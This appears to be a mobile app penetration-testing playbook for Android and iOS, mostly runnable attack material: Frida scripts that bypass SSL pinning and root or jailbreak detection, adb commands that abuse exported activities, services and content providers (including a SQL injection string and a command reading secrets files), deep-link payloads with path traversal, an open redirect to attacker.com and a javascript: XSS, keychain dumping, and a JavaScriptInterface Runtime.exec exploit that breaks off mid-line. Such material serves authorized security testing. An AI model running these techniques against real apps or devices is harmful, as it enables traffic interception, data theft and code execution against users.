Mobile Application Penetration Testing
When to Activate
- Mobile app security assessment (Android/iOS)
- Bug bounty mobile triage
- App store reconnaissance
- Mobile malware/RAT analysis
Lab Setup
Android
- Rooted device or Genymotion / Android Studio AVD with
userdebug build
- Magisk for systemless root
- LSPosed for Xposed modules
- Frida server matching device architecture
- Burp / Mitmproxy with system-trusted CA via Magisk module (
MagiskTrustUserCerts)
iOS
- Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
- Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
- Burp CA installed via Settings → General → Device Management → Certificate Trust Settings
Static Analysis
Android
# Decode resources + smali
apktool d app.apk -o app_decoded
# Decompile to Java
jadx -d app_src app.apk
# Manifest review
xmllint --format app_decoded/AndroidManifest.xml | less
# Look for:
# - android:exported="true" (attack surface)
# - intent-filters (deep links)
# - custom permissions
# - android:debuggable="true"
# - android:allowBackup="true"
# - networkSecurityConfig
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/ # leftover debug logs
# Native libraries
file app_decoded/lib/*/*.so
# Reverse engineer in Ghidra/IDA; look for JNI_OnLoad and Java_* functions
iOS
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"
# Decrypt if needed (jailbroken device)
bagbak com.vendor.app
# Extract
unzip app.ipa
# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift: use Hopper / IDA
# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for:
# - NSAppTransportSecurity exceptions
# - CFBundleURLTypes (URL schemes)
# - associated-domains entitlements
# - UIFileSharingEnabled
Dynamic Analysis & Frida
SSL Pinning Bypass
// Android — Universal bypass (OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const SSLContext = Java.use('javax.net.ssl.SSLContext');
const TrustManager = Java.registerClass({
name: 'com.sensepost.test.TrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted(chain, authType) {},
checkServerTrusted(chain, authType) {},
getAcceptedIssuers() { return []; }
}
});
const TrustManagers = [TrustManager.$new()];
const SSLContext_init = SSLContext.init.overload(
'[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom'
);
SSLContext_init.implementation = function(keyManager, trustManager, secureRandom) {
SSLContext_init.call(this, keyManager, TrustManagers, secureRandom);
};
});
// iOS — Bypass SSL pinning
const SecTrustEvaluate = Module.findExportByName('Security', 'SecTrustEvaluate');
Interceptor.replace(SecTrustEvaluate, new NativeCallback((trust, result) => {
result.writeU32(1); // kSecTrustResultProceed
return 0; // errSecSuccess
}, 'int', ['pointer', 'pointer']));
Root/Jailbreak Detection Bypass
// Android — Bypass root detection
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk') || path.includes('magisk')) {
return false;
}
return this.exists();
};
// RootBeer library bypass
const RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
RootBeer.isRooted.implementation = () => false;
});
// iOS — Bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida|sileo/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});
const fopen = Module.findExportByName(null, 'fopen');
Interceptor.attach(fopen, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});
Objection (Frida-based shortcuts)
# Android
objection -g com.app.package explore
android hooking watch class com.app.MainActivity
android hooking list activities
android intent launch_activity com.app.SecretActivity
android sslpinning disable
# iOS
objection -g com.app.bundle explore
ios hooking watch class ViewController
ios sslpinning disable
ios jailbreak disable
ios keychain dump
Exported Components (Android)
Attack Surface Enumeration
# List exported components
adb shell dumpsys package com.app.package | grep -A 5 "android.intent.action"
# Or from manifest:
grep -E 'android:exported="true"|intent-filter' AndroidManifest.xml
Activity Exploitation
# Launch exported activity directly
adb shell am start -n com.app.package/.SecretActivity
# With extras
adb shell am start -n com.app.package/.WebViewActivity \
--es url "file:///data/data/com.app.package/databases/secrets.db"
Service Exploitation
# Start exported service
adb shell am startservice -n com.app.package/.VulnerableService
# Send intent with data
adb shell am startservice -n com.app.package/.CommandService \
--es command "cat /data/data/com.app.package/shared_prefs/secrets.xml"
Broadcast Receiver
# Send broadcast
adb shell am broadcast -a com.app.package.CUSTOM_ACTION \
--es data "malicious_payload"
Content Provider
# Query content provider
adb shell content query --uri content://com.app.package.provider/users
# Insert
adb shell content insert --uri content://com.app.package.provider/users \
--bind username:s:admin --bind password:s:hacked
# SQL injection in content provider
adb shell content query --uri "content://com.app.package.provider/users?id=1' OR '1'='1"
Deep Links & URL Schemes
Android Deep Links
# Test deep link
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://secret/admin?token=stolen"
# Common vulnerabilities:
# - No validation of parameters
# - Path traversal: myapp://file?path=../../../etc/passwd
# - Open redirect: myapp://redirect?url=https://attacker.com
# - XSS in WebView: myapp://webview?url=javascript:alert(1)
iOS URL Schemes
# Test URL scheme
xcrun simctl openurl booted "myapp://secret/admin?token=stolen"
# Or via Safari: myapp://action?param=value
# Or via Shortcuts app for automation
Insecure Data Storage
Android
# Shared Preferences (often world-readable)
adb shell cat /data/data/com.app.package/shared_prefs/*.xml
# SQLite databases
adb pull /data/data/com.app.package/databases/
sqlite3 app.db "SELECT * FROM users;"
# Internal storage
adb shell ls -la /data/data/com.app.package/files/
# External storage (world-readable)
adb shell ls /sdcard/Android/data/com.app.package/
# Keystore misuse — check if keys are hardware-backed
# If not, extractable via root
iOS
# NSUserDefaults
cat /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.app.bundle.plist
# Keychain (requires jailbreak + keychain-dumper)
keychain_dumper -a
# Files
ls -la /var/mobile/Containers/Data/Application/<UUID>/Documents/
ls -la /var/mobile/Containers/Data/Application/<UUID>/Library/
WebView Vulnerabilities
Android JavaScriptInterface
// Vulnerable code:
webView.addJavascriptInterface(new JSBridge(), "JSBridge");
// Exploit from loaded HTML:
<script>
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(
JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(nul